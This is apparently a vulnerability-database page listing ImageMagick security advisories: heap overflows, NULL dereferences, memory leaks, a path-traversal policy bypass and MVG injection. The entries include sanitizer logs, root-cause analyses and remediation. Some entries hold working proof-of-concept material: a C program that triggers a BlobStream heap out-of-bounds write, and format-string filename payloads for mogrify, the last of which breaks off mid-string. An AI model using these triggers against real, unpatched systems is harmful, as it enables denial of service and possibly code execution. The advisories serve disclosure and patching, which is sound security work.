Affected by 18 other vulnerabilities. |
|
VCID-g41y-dv8u-3yf1
Aliases: CVE-2026-30936 GHSA-5ggv-92r5-cp4p |
ImageMagick has Heap Buffer Overflow in WaveletDenoiseImage A crafted image could cause an out of bounds heap write inside the WaveletDenoiseImage method. When processing a crafted image with the -wavelet-denoise operation an out of bounds write can occur. ``` ================================================================= ==661320==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x503000002754 at pc 0x5ff45f82c92a bp 0x7fffb732b400 sp 0x7fffb732b3f0 WRITE of size 4 at 0x503000002754 thread T0 ``` |
Affected by 1 other vulnerability. |
|
VCID-gdg8-aejn-83c4
Aliases: CVE-2026-25965 GHSA-8jvj-p28h-9gm7 |
ImageMagick: Policy bypass through path traversal allows reading restricted content despite secured policy ImageMagick’s path security policy is enforced on the raw filename string before the filesystem resolves it. As a result, a policy rule such as /etc/* can be bypassed by a path traversal. The OS resolves the traversal and opens the sensitive file, but the policy matcher only sees the unnormalized path and therefore allows the read. This enables local file disclosure (LFI) even when policy-secure.xml is applied. Actions to prevent reading from files have been taken. But it make sure writing is also not possible the following should be added to your policy: ``` <policy domain="path" rights="none" pattern="*../*"/> ``` And this will also be included in the project's more secure policies by default. |
Affected by 18 other vulnerabilities. |
|
VCID-h221-qd8d-tqa5
Aliases: CVE-2026-23952 GHSA-5vx3-wx4q-6cj8 |
ImageMagick has a NULL pointer dereference in MSL parser via <comment> tag before image load ## Summary NULL pointer dereference in MSL (Magick Scripting Language) parser when processing `<comment>` tag before any image is loaded. ## Version - ImageMagick 7.x (tested on current main branch) - Commit: HEAD ## Steps to Reproduce ### Method 1: Using ImageMagick directly ```bash magick MSL:poc.msl out.png ``` ### Method 2: Using OSS-Fuzz reproduce ```bash python3 infra/helper.py build_fuzzers imagemagick python3 infra/helper.py reproduce imagemagick msl_fuzzer poc.msl ``` Or run the fuzzer directly: ```bash ./msl_fuzzer poc.msl ``` ## Expected Behavior ImageMagick should handle the malformed MSL gracefully and return an error message. ## Actual Behavior ``` convert: MagickCore/property.c:297: MagickBooleanType DeleteImageProperty(Image *, const char *): Assertion `image != (Image *) NULL' failed. Aborted ``` ## Root Cause Analysis In `coders/msl.c:7091`, `MSLEndElement()` calls `DeleteImageProperty()` on `msl_info->image[n]` when handling the `</comment>` end tag without checking if the image is NULL: ```c if (LocaleCompare((const char *) tag,"comment") == 0 ) { (void) DeleteImageProperty(msl_info->image[n],"comment"); // No NULL check ... } ``` When `<comment>` appears before any `<read>` operation, `msl_info->image[n]` is NULL, causing the assertion failure in `DeleteImageProperty()` at `property.c:297`. ## Impact - **DoS**: Crash via assertion failure (debug builds) or NULL pointer dereference (release builds) - **Affected**: Any application using ImageMagick to process user-supplied MSL files ## Fuzzer This issue was discovered using a custom MSL fuzzer: ```cpp #include <cstdint> #include <Magick++/Blob.h> #include <Magick++/Image.h> #include "utils.cc" extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) { if (IsInvalidSize(Size)) return(0); try { const Magick::Blob blob(Data, Size); Magick::Image image; image.magick("MSL"); image.fileName("MSL:"); image.read(blob); } catch (Magick::Exception) { } return(0); } ``` This issue was found by Team FuzzingBrain @ Texas A&M University |
Affected by 60 other vulnerabilities. |
|
VCID-jc5m-7rvc-2qg6
Aliases: CVE-2026-32636 GHSA-gc62-2v5p-qpmp |
ImageMagick has a heap-buffer-overflow in NewXMLTree which could result in crash The NewXMLTree method contains a bug that could result in a crash due to an out of write bounds of a single zero byte. |
Affected by 0 other vulnerabilities. |
|
VCID-jcjk-s89c-mbbm
Aliases: CVE-2026-26983 GHSA-w8mw-frc6-r7m8 |
ImageMagick: Invalid MSL <map> can result in a use after free The MSL interpreter crashes when processing a invalid `<map>` element that causes it to use an image after it has been freed. |
Affected by 18 other vulnerabilities. |
|
VCID-jvq6-xjbu-fkb9
Aliases: CVE-2026-24485 GHSA-pqgj-2p96-rx85 |
ImageMagick: Infinite loop vulnerability when parsing a PCD file When a PCD file does not contain a valid marker, the DecodeImage() function becomes trapped in an infinite loop while searching for the marker, causing the program to become unresponsive and continuously consume CPU resources, ultimately leading to system resource exhaustion and denial of service. |
Affected by 18 other vulnerabilities. |
|
VCID-kdw5-8y5z-zya5
Aliases: CVE-2026-25637 GHSA-gm37-qx7w-p258 |
ImageMagick: Possible memory leak in ASHLAR encoder A memory leak in the ASHLAR image writer allows an attacker to exhaust process memory by providing a crafted image that results in small objects that are allocated but never freed. ``` ==880062== Memcheck, a memory error detector ==880062== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al. ==880062== Using Valgrind-3.18.1 and LibVEX; rerun with -h for copyright info ==880062== ==880062== ==880062== HEAP SUMMARY: ==880062== in use at exit: 386,826 bytes in 696 blocks ==880062== total heap usage: 30,523 allocs, 29,827 frees, 21,803,756 bytes allocated ==880062== ==880062== LEAK SUMMARY: ==880062== definitely lost: 3,408 bytes in 3 blocks ==880062== indirectly lost: 88,885 bytes in 30 blocks ==880062== possibly lost: 140,944 bytes in 383 blocks ==880062== still reachable: 151,573 bytes in 259 blocks ==880062== suppressed: 0 bytes in 0 blocks ==880062== Reachable blocks (those to which a pointer was found) are not shown. ==880062== To see them, rerun with: --leak-check=full --show-leak-kinds=all ==880062== ==880062== For lists of detected and suppressed errors, rerun with: -s ==880062== ERROR SUMMARY: 2 errors from 2 contexts (suppressed: 0 from 0) ``` |
Affected by 18 other vulnerabilities. |
|
VCID-kefv-kpkk-wudf
Aliases: CVE-2026-25799 GHSA-543g-8grm-9cw6 |
ImageMagick has Division-by-Zero in YUV sampling factor validation, which leads to crash A logic error in YUV sampling factor validation allows an invalid sampling factor to bypass checks and trigger a division-by-zero during image loading, resulting in a reliable denial-of-service. ``` coders/yuv.c:210:47: runtime error: division by zero AddressSanitizer:DEADLYSIGNAL ================================================================= ==3543373==ERROR: AddressSanitizer: UNKNOWN SIGNAL on unknown address 0x000000000000 (pc 0x55deeb4d723c bp 0x7fffc28d34d0 sp 0x7fffc28d3320 T0) #0 0x55deeb4d723c in ReadYUVImage coders/yuv.c:210 #1 0x55deeb751dff in ReadImage MagickCore/constitute.c:743 #2 0x55deeb756374 in ReadImages MagickCore/constitute.c:1082 #3 0x55deec682375 in CLINoImageOperator MagickWand/operation.c:4959 #4 0x55deec6887ed in CLIOption MagickWand/operation.c:5473 #5 0x55deec32843b in ProcessCommandOptions MagickWand/magick-cli.c:653 #6 0x55deec32b99b in MagickImageCommand MagickWand/magick-cli.c:1392 #7 0x55deec324d58 in MagickCommandGenesis MagickWand/magick-cli.c:177 #8 0x55deead82519 in MagickMain utilities/magick.c:162 #9 0x55deead828be in main utilities/magick.c:193 #10 0x7fb90807fd8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 #11 0x7fb90807fe3f in __libc_start_main_impl ../csu/libc-start.c:392 #12 0x55deead81974 in _start (/data/ylwang/LargeScan/targets/ImageMagick/utilities/magick+0x22fb974) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: UNKNOWN SIGNAL coders/yuv.c:210 in ReadYUVImage ==3543373==ABORTING ``` |
Affected by 18 other vulnerabilities. |
|
VCID-mntx-6yku-3qcx
Aliases: GHSA-xpg8-7m6m-jf56 |
ImageMagick: SVG-to-MVG Command Injection via coders/svg.c An attacker can inject arbitrary MVG (Magick Vector Graphics) drawing commands in an SVG file that is read by the internal SVG decoder of ImageMagick. The injected MVG commands execute during rendering. |
Affected by 18 other vulnerabilities. |
|
VCID-mxg1-261s-nbds
Aliases: CVE-2025-57807 GHSA-23hg-53q6-hqfg |
ImageMagick BlobStream Forward-Seek Under-Allocation **Reporter:** Lumina Mescuwa **Product:** ImageMagick 7 (MagickCore) **Component:** `MagickCore/blob.c` (Blob I/O - BlobStream) **Tested:** 7.1.2-0 (source tag) and 7.1.2-1 (Homebrew), macOS arm64, clang-17, Q16-HDRI **Impact:** Heap out-of-bounds **WRITE** (attacker-controlled bytes at attacker-chosen offset) → memory corruption; potential code execution --- ## Executive Summary For memory-backed blobs (**BlobStream**), [`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134) permits advancing the stream **offset** beyond the current end without increasing capacity. The subsequent [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938) then expands by **`quantum + length`** (amortized) instead of **`offset + length`**, and copies to `data + offset`. When `offset ≫ extent`, the copy targets memory beyond the allocation, producing a deterministic heap write on 64-bit builds. No 2⁶⁴ arithmetic wrap, external delegates, or policy settings are required. --- ## Affected Scope - **Versions confirmed:** 7.1.2-0, 7.1.2-1 - **Architectures:** Observed on macOS arm64; architecture-agnostic on LP64 - Paths: MagickCore blob subsystem — **BlobStream** ([`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134) and [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938)). - **Not required:** External delegates; special policies; integer wraparound --- ## Technical Root Cause **Types (LP64):** `offset: MagickOffsetType` (signed 64-bit) `extent/length/quantum: size_t` (unsigned 64-bit) `data: unsigned char*` **Contract mismatch:** - [`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134) (BlobStream) updates `offset` to arbitrary positions, including past end, **without** capacity adjustment. - [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938) tests `offset + length >= extent` and grows **by** `length + quantum`, doubles `quantum`, reallocates to `extent + 1`, then: ``` q = data + (size_t)offset; memmove(q, src, length); ``` There is **no guarantee** that `extent ≥ offset + length` post-growth. With `offset ≫ extent`, `q` is beyond the allocation. **Wrap-free demonstration:** Initialize `extent=1`, write one byte (`offset=1`), seek to `0x10000000` (256 MiB), then write 3–4 bytes. Growth remains << `offset + length`; the copy overruns the heap buffer. --- ## Exploitability & Reachability - **Primitive:** Controlled bytes written at a controlled displacement from the buffer base. - **Reachability:** Any encode-to-memory flow that forward-seeks prior to writing (e.g., header back-patching, reserved-space strategies). Even if current encoders/writers avoid this, the API contract **permits** it, thus creating a latent sink for first- or third-party encoders/writers. - **Determinism:** Once a forward seek past end occurs, the first subsequent write reliably corrupts memory. --- ## Impact Assessment - **Integrity:** High - adjacent object/metadata overwrite plausible. - **Availability:** High - reliably crashable (ASan and non-ASan). - **Confidentiality:** High - Successful exploitation to RCE allows the attacker to read all data accessible by the compromised process. - **RCE plausibility:** Typical of heap OOB writes in long-lived image services; allocator/layout dependent. --- ## CVSS v3.1 Rationale (9.8) - **AV:N / PR:N / UI:N** - server-side image processing is commonly network-reachable without auth or user action. - **AC:L** - a single forward seek + write suffices; no races or specialized state. - **S:U** - corruption localized to the ImageMagick process. - **C:H / I:H / A:H** - A successful exploit leads to RCE, granting full control over the process. This results in a total loss of Confidentiality (reading sensitive data), Integrity (modifying files/data), and Availability (terminating the service). _Base scoring assumes successful exploitation; environmental mitigations are out of scope of Base metrics._ --- ## Violated Invariant > **Before copying `length` bytes at `offset`, enforce `extent ≥ offset + length` with overflow-checked arithmetic.** The BlobStream growth policy preserves amortized efficiency but fails to enforce this **per-write** safety invariant. --- ## Remediation (Principle) In [`WriteBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938) (BlobStream case): 1. **Checked requirement:** `need = (size_t)offset + length;` → if `need < (size_t)offset`, overflow → fail. 2. **Ensure capacity ≥ need:** `target = MagickMax(extent + quantum + length, need);` (Optionally loop, doubling `quantum`, until `extent ≥ need` to preserve amortization.) 3. **Reallocate to `target + 1` before copying;** then perform the move. **Companion hardening (recommended):** - Document or restrict [`SeekBlob()`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5106-L5134) on BlobStream so forward seeks either trigger explicit growth/zero-fill or require the subsequent write to meet the invariant. - Centralize blob arithmetic in checked helpers. - Unit tests: forward-seek-then-write (success and overflow-reject). --- ## Regression & Compatibility - **Behavior change:** Forward-seeked writes will either allocate to required size or fail cleanly (overflow/alloc-fail). - **Memory profile:** Single writes after very large seeks may allocate large buffers; callers requiring sparse behavior should use file-backed streams. --- ## Vendor Verification Checklist - Reproduce with a minimal in-memory BlobStream harness under ASan. - Apply fix; verify `extent ≥ offset + length` at all write sites. - Add forward-seek test cases (positive/negative). - Audit other growth sites (`SetBlobExtent`, stream helpers). - Clarify BlobStream seek semantics in documentation. - Unit test: forward seek to large offset on **BlobStream** followed by 1–8 byte writes; assert either growth to `need` or clean failure. --- # PoC / Reproduction / Notes ## Environment - **OS/Arch:** macOS 14 (arm64) - **Compiler:** clang-17 with AddressSanitizer - **ImageMagick:** Q16-HDRI - **Prefix:** `~/opt/im-7.1.2-0` - **`pkg-config`:** from PATH (no hard-coded `/usr/local/...`) --- ## Build ImageMagick 7.1.2-0 (static, minimal) ```bash ./configure --prefix="$HOME/opt/im-7.1.2-0" --enable-hdri --with-quantum-depth=16 \ --disable-shared --enable-static --without-modules \ --without-magick-plus-plus --disable-openmp --without-perl \ --without-x --without-lqr --without-gslib make -j"$(sysctl -n hw.ncpu)" make install "$HOME/opt/im-7.1.2-0/bin/magick" -version > magick_version.txt ``` --- ## Build & Run the PoC (memory-backed BlobStream) **`poc.c`:** _Uses private headers (`blob-private.h`) to exercise blob internals; a public-API variant (custom streams) is feasible but unnecessary for triage._ ```c // poc.c #include <stdio.h> #include <stdlib.h> #include <MagickCore/MagickCore.h> #include <MagickCore/blob.h> #include "MagickCore/blob-private.h" int main(int argc, char **argv) { MagickCoreGenesis(argv[0], MagickTrue); ExceptionInfo *e = AcquireExceptionInfo(); ImageInfo *ii = AcquireImageInfo(); Image *im = AcquireImage(ii, e); if (!im) return 1; // 1-byte memory blob → BlobStream unsigned char *buf = (unsigned char*) malloc(1); buf[0] = 0x41; AttachBlob(im->blob, buf, 1); // type=BlobStream, extent=1, offset=0 SetBlobExempt(im, MagickTrue); // don't free our malloc'd buf // Step 1: write 1 byte (creates BlobInfo + sets offset=1) unsigned char A = 0x42; (void) WriteBlob(im, 1, &A); fprintf(stderr, "[+] after 1 byte: off=%lld len=%zu\n", (long long) TellBlob(im), (size_t) GetBlobSize(im)); // Step 2: seek way past end without growing capacity const MagickOffsetType big = (MagickOffsetType) 0x10000000; // 256 MiB (void) SeekBlob(im, big, SEEK_SET); fprintf(stderr, "[+] after seek: off=%lld len=%zu\n", (long long) TellBlob(im), (size_t) GetBlobSize(im)); // Step 3: small write → reallocation grows by quantum+length, not to offset+length // memcpy then writes to data + offset (OOB) const unsigned char payload[] = "PWN"; (void) WriteBlob(im, sizeof(payload), payload); // If we get here, it didn't crash fprintf(stderr, "[-] no crash; check ASan flags.\n"); (void) CloseBlob(im); DestroyImage(im); DestroyImageInfo(ii); DestroyExceptionInfo(e); MagickCoreTerminus(); return 0; } ``` --- `run:` ```bash # Use the private prefix for pkg-config export PKG_CONFIG_PATH="$HOME/opt/im-7.1.2-0/lib/pkgconfig:$PKG_CONFIG_PATH" # Strict ASan for crisp failure export ASAN_OPTIONS='halt_on_error=1:abort_on_error=1:detect_leaks=0:fast_unwind_on_malloc=0' # Compile (static link pulls transitive deps via --static) clang -std=c11 -g -O1 -fno-omit-frame-pointer -fsanitize=address -o poc poc.c \ $(pkg-config --cflags MagickCore-7.Q16HDRI) \ $(pkg-config --static --libs MagickCore-7.Q16HDRI) # Execute and capture ./poc 2>&1 | tee asan.log ``` **Expected markers prior to the fault:** ``` [+] after 1 byte: off=1 len=1 [+] after seek: off=268435456 len=1 ``` An ASan **WRITE** crash in [`WriteBlob`](https://github.com/ImageMagick/ImageMagick/blob/3fcd081c0278427fc0e8ac40ef75c0a1537792f7/MagickCore/blob.c#L5915-L5938) follows (top frames: `WriteBlob blob.c:<line>`, then `_platform_memmove` / `__sanitizer_internal_memmove`). --- ## Debugger Verification (manual) LLDB can be used to snapshot the invariants; ASan alone is sufficient. ``` lldb ./poc (lldb) settings set use-color false (lldb) break set -n WriteBlob (lldb) run # First stop (prime write) (lldb) frame var length (lldb) frame var image->blob->type image->blob->offset image->blob->length image->blob->extent image->blob->quantum image->blob->mapped (lldb) continue # Second stop (post-seek write) (lldb) frame var length (lldb) frame var image->blob->type image->blob->offset image->blob->length image->blob->extent image->blob->quantum image->blob->mapped (lldb) expr -- (unsigned long long)image->blob->offset + (unsigned long long)length (lldb) expr -- (void*)((unsigned char*)image->blob->data + (size_t)image->blob->offset) # Into the fault; if inside memmove (no locals): (lldb) bt (lldb) frame select 1 (lldb) frame var image->blob->offset image->blob->length image->blob->extent image->blob->quantum ``` **Expected at second stop:** `type = BlobStream` · `offset ≈ 0x10000000` (256 MiB) · `length ≈ 3–4` · `extent ≈ 64 KiB` (≪ `offset + length`) · `quantum ≈ 128 KiB` · `mapped = MagickFalse` · `data + offset` far beyond base; next `continue` crashes in `_platform_memmove`. --- ## Credits **Reported by:** Lumina Mescuwa --- |
Affected by 68 other vulnerabilities. |
|
VCID-n47w-r932-abey
Aliases: CVE-2026-30883 GHSA-qmw5-2p58-xvrc |
ImageMagick is vulnerable to Heap Overflow when writing extremely large image profile in the PNG encoder An extremely large image profile could result in a heap overflow when encoding a PNG image. |
Affected by 1 other vulnerability. |
|
VCID-p5aw-n691-nkff
Aliases: CVE-2026-25988 GHSA-782x-jh29-9mf7 |
ImageMagick: MSL image stack index may fail to refresh, leading to leaked images Sometimes msl.c fails to update the stack index, so an image is stored in the wrong slot and never freed on error, causing leaks. ``` ==841485==ERROR: LeakSanitizer: detected memory leaks Direct leak of 13512 byte(s) in 1 object(s) allocated from: #0 0x7ff330759887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145 ``` |
Affected by 18 other vulnerabilities. |
|
VCID-pcme-bwan-3bcf
Aliases: CVE-2026-25798 GHSA-p863-5fgm-rgq4 |
ImageMagick has NULL Pointer Dereference in ClonePixelCacheRepository via crafted image A NULL pointer dereference in ClonePixelCacheRepository allows a remote attacker to crash any application linked against ImageMagick by supplying a crafted image file, resulting in Denial of Service. ``` AddressSanitizer:DEADLYSIGNAL ================================================================= ==3704942==ERROR: AddressSanitizer: UNKNOWN SIGNAL on unknown address 0x000000000000 (pc 0x7f9d141239e0 bp 0x7ffd4c5711e0 sp 0x7ffd4c571148 T0) #0 0x7f9d141239e0 (/lib/x86_64-linux-gnu/libc.so.6+0xc49e0) #1 0x558a25e4f08d in ClonePixelCacheRepository._omp_fn.0 MagickCore/cache.c:784 #2 0x7f9d14c06a15 in GOMP_parallel (/lib/x86_64-linux-gnu/libgomp.so.1+0x14a15) #3 0x558a25e43151 in ClonePixelCacheRepository MagickCore/cache.c:753 #4 0x558a25e49a96 in OpenPixelCache MagickCore/cache.c:3849 #5 0x558a25e45117 in GetImagePixelCache MagickCore/cache.c:1829 #6 0x558a25e4dde3 in SyncImagePixelCache MagickCore/cache.c:5647 #7 0x558a256ba57d in SetImageExtent MagickCore/image.c:2713 ``` |
Affected by 18 other vulnerabilities. |
|
VCID-r3vw-ncns-cqgb
Aliases: CVE-2026-31853 GHSA-56jp-jfqg-f8f4 |
ImageMagick is vulnerable to heap buffer over-write on 32-bit systems in SFW decoder An overflow on 32-bit systems can cause a crash in the SFW decoder when processing extremely large images. |
Affected by 1 other vulnerability. |
|
VCID-r889-wzc7-1yem
Aliases: CVE-2025-55298 GHSA-9ccg-6pjw-x645 |
ImageMagick has a Format String Bug in InterpretImageFilename leads to arbitrary code execution ## Summary A format string bug vulnerability exists in `InterpretImageFilename` function where user input is directly passed to `FormatLocaleString` without proper sanitization. An attacker can overwrite arbitrary memory regions, enabling a wide range of attacks from heap overflow to remote code execution. <br> ## Details ### root cause ``` MagickExport size_t InterpretImageFilename(const ImageInfo *image_info, Image *image,const char *format,int value,char *filename, ExceptionInfo *exception) { ... while ((cursor=strchr(cursor,'%')) != (const char *) NULL) { const char *q = cursor; ssize_t offset = (ssize_t) (cursor-format); cursor++; /* move past '%' */ if (*cursor == '%') { /* Escaped %%. */ cursor++; continue; } /* Skip padding digits like %03d. */ if (isdigit((int) ((unsigned char) *cursor)) != 0) (void) strtol(cursor,(char **) &cursor,10); switch (*cursor) { case 'd': case 'o': case 'x': { ssize_t count; count=FormatLocaleString(pattern,sizeof(pattern),q,value); if ((count <= 0) || (count >= MagickPathExtent) || ((offset+count) >= MagickPathExtent)) return(0); (void) CopyMagickString(p+offset,pattern,(size_t) (MagickPathExtent- offset)); cursor++; break; } ``` When the InterpretImageFilename function processes a filename beginning with format specifiers such as %d, %o, or %x, the filename string is directly passed as a parameter to the FormatLocaleString function. <br> ``` MagickExport ssize_t FormatLocaleString(char *magick_restrict string, const size_t length,const char *magick_restrict format,...) { ssize_t n; va_list operands; va_start(operands,format); n=FormatLocaleStringList(string,length,format,operands); va_end(operands); return(n); } ``` ``` MagickPrivate ssize_t FormatLocaleStringList(char *magick_restrict string, const size_t length,const char *magick_restrict format,va_list operands) { ... n=(ssize_t) _vsnprintf_l(string,length,format,locale,operands); ``` Inside FormatLocaleString, the variable argument list is initialized through va_start, after which the format string processing occurs by interpreting the format specifiers and using corresponding values from CPU registers and the call stack as arguments for the formatting operations. <br> ## PoC ### 1. Heap overflow read tested on development container ``` root@9184bf32bd0f:/workspaces/ImageMagick# mogrify %o%n ================================================================= ==55653==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000000001 at pc 0x5bdccaae689e bp 0x7fff6882c410 sp 0x7fff6882c408 READ of size 8 at 0x603000000001 thread T0 #0 0x5bdccaae689d in SplaySplayTree splay-tree.c #1 0x5bdccaae865e in GetValueFromSplayTree (/ImageMagick/bin/magick+0x59165e) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #2 0x5bdccaa8e47b in GetImageOption (/ImageMagick/bin/magick+0x53747b) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #3 0x5bdccaa63c39 in SyncImageSettings (/ImageMagick/bin/magick+0x50cc39) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #4 0x5bdccaa63036 in AcquireImage (/ImageMagick/bin/magick+0x50c036) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #5 0x5bdccaa70cc4 in SetImageInfo (/ImageMagick/bin/magick+0x519cc4) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #6 0x5bdccae42e13 in ReadImages (/ImageMagick/bin/magick+0x8ebe13) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #7 0x5bdccb11ee08 in MogrifyImageCommand (/ImageMagick/bin/magick+0xbc7e08) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #8 0x5bdccb103ca9 in MagickCommandGenesis (/ImageMagick/bin/magick+0xbacca9) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #9 0x5bdccaa5f939 in main (/ImageMagick/bin/magick+0x508939) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #10 0x73b2102b2d8f (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd) #11 0x73b2102b2e3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd) #12 0x5bdcca99f404 in _start (/ImageMagick/bin/magick+0x448404) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) 0x603000000001 is located 15 bytes to the left of 24-byte region [0x603000000010,0x603000000028) allocated by thread T0 here: #0 0x5bdccaa2224e in malloc (/ImageMagick/bin/magick+0x4cb24e) (BuildId: 2e7da788e419b6541dccde47c7b6e784063d1171) #1 0x73b21031915a (/lib/x86_64-linux-gnu/libc.so.6+0x9015a) (BuildId: d5197096f709801829b118af1b7cf6631efa2dcd) SUMMARY: AddressSanitizer: heap-buffer-overflow splay-tree.c in SplaySplayTree Shadow bytes around the buggy address: 0x0c067fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c067fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c067fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c067fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c067fff8000:[fa]fa 00 00 00 fa fa fa 00 00 00 00 fa fa 00 00 0x0c067fff8010: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 0x0c067fff8020: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 0x0c067fff8030: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 0x0c067fff8040: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 0x0c067fff8050: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==55653==ABORTING ``` Processing a malicious filename containing format string specifiers such as %d%n results in corruption of the SplayTree structure stored in the r8 register. The corrupted structure contains invalid pointer values that are later dereferenced by the SplaySplayTree function, causing the function to access unintended memory locations and triggering a heap overflow condition. <br> ### 2. Shell execution tested on a local environment https://github.com/user-attachments/assets/00e6a091-8e77-48f0-959e-c05eff69ff94 ``` ~/fuzz gdb -nx -args ./patchedsecure/bin/mogrify %d%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%